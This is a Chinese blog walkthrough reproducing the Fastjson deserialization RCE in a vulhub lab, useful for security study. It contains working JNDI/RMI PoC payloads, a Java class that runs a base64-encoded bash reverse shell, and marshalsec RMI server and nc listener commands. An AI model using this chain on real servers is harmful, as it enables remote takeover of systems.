0


Fastjson反序列化漏洞


Fastjson简介

fastjson是阿里的开源JSON解析库提供两个主要方法JSON.toJSONString和JSON.parseObkect/JSON.parse来分别实现序列化和反序列化操作,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本

Fastjson验证

启动vulhub靶场环境 docker-compose up -d

打开后我们可以i通过burp进行抓包将请求方式改为POST,并且输入错误的json数据

fastjson1.2.47的版本会进行报错,其它版本的我没试过

此时我们可以输入相应的poc和dnslog配合判断漏洞是否存在

验证的poc

//1.2.24以下版本
{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}
//1.2.47以下版本
{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

dnslog网址后面需要加资源,不然不会去访问

dnslog收到访问,这就说明这个漏洞是存在的

Fastjson复现

需要在vps上搭建一个web服务以及rmi,然后把恶意类上传到web服务上面。

当我们输入poc发送时,受害者就通过rmi服务访问我们,rmi服务再来指定加载远程类,去加载我们搭建的web服务上的恶意类,从而执行恶意类的代码反弹shell。

搭建web服务

恶意类代码:

base64的是反弹shell的语句,此处反弹的是7777端口

import java.lang.Runtime;
import java.lang.Process;
 
public class rmi{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将恶意代码写为java结尾的文件,然后通过javac进行编译成class文件

通过python在vps开启一个临时的web服务python -m http.server 8080

python安装

将生成的恶意class文件放到web目录上,这里已经可以访问到了

搭建rmi服务

我用的centos

将marshalsec下载到本地

git clone https://github.com/mbechler/marshalsec.git

安装maven

yum install maven

进入marshalsec,然后使用maven编译marshalsec成jar包

mvn clean package -DskipTests

经过一段漫长的编译后终于好了

进入文件夹搭建rmi服务,后面跟web服务的地址以及rmi服务的端口,当受害者访问此rmi服务时就会自动重定向访问web服务加载上面的恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8080/#rmi" 6666

开始执行

此时web服务和rmi服务都以及搭建完成,开始漏洞利用

监听机开启nc监听,等待获取反弹的shell

burp处用构造好的poc去进行发送,让受害服务器去远程访问我们搭建的rmi服务

公网的rmi服务这边收到了受害服务器的请求,将请求转发让受害者服务器去访问公网的web服务

当受害者服务器去访问我们公网的web服务后,加载了恶意的类rmi.class,然后执行了类其中的反弹shell的命令,nc这边成功获取shell

标签: 安全

本文转载自: https://blog.csdn.net/xhscxj/article/details/127390539
版权归原作者 深白色耳机 所有, 如有侵权,请联系我们删除。

“Fastjson反序列化漏洞”的评论:

还没有评论